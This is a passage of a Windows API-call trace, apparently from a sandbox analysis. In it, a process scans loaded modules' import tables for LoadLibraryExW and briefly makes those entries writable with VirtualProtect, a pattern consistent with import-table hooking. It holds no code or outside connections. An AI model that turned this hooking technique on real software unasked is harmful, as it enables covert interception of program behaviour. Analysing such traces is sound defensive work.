(lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="ResetEvent", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="GetSystemInfo", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="TlsAlloc", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="TlsFree", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="TerminateProcess", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="OpenProcess", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="SetEndOfFile", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="FlushFileBuffers", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="FindClose", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="RtlAddFunctionTable", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="CreateRemoteThread", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="RtlDeleteFunctionTable", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="GetStdHandle", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="GetVersion", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="CreateProcessW", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="SleepEx", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="GetFileType", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="UnlockFileEx", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="LockFileEx", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="SetNamedPipeHandleState", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="CreateNamedPipeW", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="TransactNamedPipe", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="WaitNamedPipeW", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="InitializeCriticalSection", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="GetUserDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="GetStringTypeW", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="LeaveCriticalSection", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="EncodePointer", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="DecodePointer", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="LCMapStringW", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="GetLocaleInfoW", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="GetCPInfo", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="WaitForSingleObjectEx", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="RtlCaptureContext", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="RtlLookupFunctionEntry", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="RtlVirtualUnwind", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="IsProcessorFeaturePresent", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="GetStartupInfoW", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="InitializeSListHead", lpString2="LoadLibraryExW") returned -1 [0070.848] lstrcmpiA (lpString1="RtlPcToFileHeader", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="RtlUnwindEx", lpString2="LoadLibraryExW") returned 1 [0070.848] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0070.848] VirtualProtect (in: lpAddress=0x7fef4b0e370, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x2) returned 1 [0070.849] VirtualProtect (in: lpAddress=0x7fef4b0e370, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x40) returned 1 [0070.849] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefc270000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefc270000, AllocationBase=0x7fefc270000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.849] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.849] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22dc160 [0070.850] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0070.850] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0070.850] lstrcmpiA (lpString1="GetFileTime", lpString2="LoadLibraryExW") returned -1 [0070.850] lstrcmpiA (lpString1="SetFileTime", lpString2="LoadLibraryExW") returned 1 [0070.850] lstrcmpiA (lpString1="GetFullPathNameA", lpString2="LoadLibraryExW") returned -1 [0070.850] lstrcmpiA (lpString1="lstrcmpiA", lpString2="LoadLibraryExW") returned 1 [0070.851] lstrcmpiA (lpString1="_lcreat", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="TlsGetValue", lpString2="LoadLibraryExW") returned 1 [0070.851] lstrcmpiA (lpString1="_lclose", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="LocalAlloc", lpString2="LoadLibraryExW") returned 1 [0070.851] lstrcmpiA (lpString1="LocalFree", lpString2="LoadLibraryExW") returned 1 [0070.851] lstrcmpiA (lpString1="_lopen", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="_lread", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="_lwrite", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="_llseek", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="GetFileSize", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="DeleteFileA", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="TlsSetValue", lpString2="LoadLibraryExW") returned 1 [0070.851] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0070.851] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="SetFilePointer", lpString2="LoadLibraryExW") returned 1 [0070.851] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0070.851] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0070.851] lstrcmpiA (lpString1="SetErrorMode", lpString2="LoadLibraryExW") returned 1 [0070.851] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0070.851] VirtualProtect (in: lpAddress=0x7fefc2760d8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x2) returned 1 [0070.851] VirtualProtect (in: lpAddress=0x7fefc2760d8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x40) returned 1 [0070.852] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd670000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefd670000, AllocationBase=0x7fefd670000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.852] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.852] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0cf0 [0070.852] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0070.852] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-Console-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-DateTime-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-Util-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef0cf0 | out: hHeap=0x1ee0000) returned 1 [0070.852] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd710000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefd710000, AllocationBase=0x7fefd710000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.852] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.852] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0cf0 [0070.852] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0070.852] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0070.852] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0070.852] lstrcmpiA (lpString1="API-MS-WIN-Service-Core-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-WIN-Service-winsvc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-WIN-Service-Management-L2-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.852] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.853] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.853] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.853] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.853] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0070.853] lstrcmpiA (lpString1="GetDiskFreeSpaceExW", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="ReadFile", lpString2="LoadLibraryExW") returned 1 [0070.853] lstrcmpiA (lpString1="GetOverlappedResult", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="VirtualAllocEx", lpString2="LoadLibraryExW") returned 1 [0070.853] lstrcmpiA (lpString1="VirtualFree", lpString2="LoadLibraryExW") returned 1 [0070.853] lstrcmpiA (lpString1="OpenProcess", lpString2="LoadLibraryExW") returned 1 [0070.853] lstrcmpiA (lpString1="GetActiveProcessorCount", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="GlobalMemoryStatusEx", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="GetSystemInfo", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="GetDriveTypeW", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="GetLogicalDriveStringsW", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="GetSystemWindowsDirectoryW", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="DeviceIoControl", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="GetVolumeInformationW", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="GetComputerNameW", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="HeapSize", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="ReleaseMutex", lpString2="LoadLibraryExW") returned 1 [0070.853] lstrcmpiA (lpString1="ExpandEnvironmentStringsA", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="RegKrnInitialize", lpString2="LoadLibraryExW") returned 1 [0070.853] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="LocalUnlock", lpString2="LoadLibraryExW") returned 1 [0070.853] lstrcmpiA (lpString1="LocalLock", lpString2="LoadLibraryExW") returned 1 [0070.853] lstrcmpiA (lpString1="GetComputerNameA", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="EncodePointer", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="CreateMutexW", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="SetEvent", lpString2="LoadLibraryExW") returned 1 [0070.853] lstrcmpiA (lpString1="ReadProcessMemory", lpString2="LoadLibraryExW") returned 1 [0070.853] lstrcmpiA (lpString1="FreeLibraryAndExitThread", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="DecodePointer", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="DuplicateHandle", lpString2="LoadLibraryExW") returned -1 [0070.853] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0070.853] VirtualProtect (in: lpAddress=0x7fefd786e90, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x2) returned 1 [0070.854] VirtualProtect (in: lpAddress=0x7fefd786e90, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x40) returned 1 [0070.854] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7feff190000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7feff190000, AllocationBase=0x7feff190000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.854] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.854] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0d60 [0070.854] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0070.854] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] lstrcmpiA (lpString1="msvcrt.dll", lpString2="KERNEL32.DLL") returned 1 [0070.854] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] lstrcmpiA (lpString1="RPCRT4.dll", lpString2="KERNEL32.DLL") returned 1 [0070.854] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="KERNEL32.DLL") returned -1 [0070.854] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef0d60 | out: hHeap=0x1ee0000) returned 1 [0070.854] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefe900000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefe900000, AllocationBase=0x7fefe900000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.891] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.891] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0d60 [0070.891] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0070.891] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.891] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.891] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.891] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.891] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.891] lstrcmpiA (lpString1="API-MS-Win-Core-IO-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.891] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.891] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.891] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.891] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.891] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.891] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.892] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.892] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.892] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.892] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.892] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.892] lstrcmpiA (lpString1="API-MS-Win-Core-ThreadPool-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.892] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.892] lstrcmpiA (lpString1="API-MS-Win-Core-DelayLoad-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.892] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="KERNEL32.DLL") returned 1 [0070.892] lstrcmpiA (lpString1="API-MS-Win-Security-LSALookup-L1-1-0.dll", lpString2="KERNEL32.DLL") returned -1 [0070.892] lstrcmpiA (lpString1="SspiCli.dll", lpString2="KERNEL32.DLL") returned 1 [0070.892] lstrcmpiA (lpString1="WS2_32.dll", lpString2="KERNEL32.DLL") returned 1 [0070.892] lstrcmpiA (lpString1="IPHLPAPI.DLL", lpString2="KERNEL32.DLL") returned -1 [0070.892] lstrcmpiA (lpString1="CRYPTBASE.dll", lpString2="KERNEL32.DLL") returned -1 [0070.892] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ef0d60 | out: hHeap=0x1ee0000) returned 1 [0070.892] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77320000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x77320000, AllocationBase=0x77320000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.892] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.892] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x1ef0d60 [0070.892] lstrcmpiA (lpString1="ntdll.dll", lpString2="KERNEL32.DLL") returned 1 [0070.892] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0070.892] lstrcmpiA (lpString1="K32QueryWorkingSet", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0070.892] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0070.892] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32GetPerformanceInfo", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32GetProcessMemoryInfo", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32EmptyWorkingSet", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32GetProcessImageFileNameW", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32GetModuleBaseNameW", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32GetDeviceDriverBaseNameW", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32EnumDeviceDrivers", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32EnumPageFilesA", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32GetDeviceDriverFileNameA", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32EnumProcessModules", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32EnumPageFilesW", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32GetModuleFileNameExW", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32GetModuleFileNameExA", lpString2="LoadLibraryExW") returned -1 [0070.892] lstrcmpiA (lpString1="K32InitializeProcessForWsWatch", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="K32GetModuleInformation", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="K32GetWsChanges", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="K32GetDeviceDriverFileNameW", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="K32QueryWorkingSetEx", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="K32GetDeviceDriverBaseNameA", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="K32EnumProcesses", lpString2="LoadLibraryExW") returned -1 [0070.893] lstrcmpiA (lpString1="K32GetMappedFileNameA", 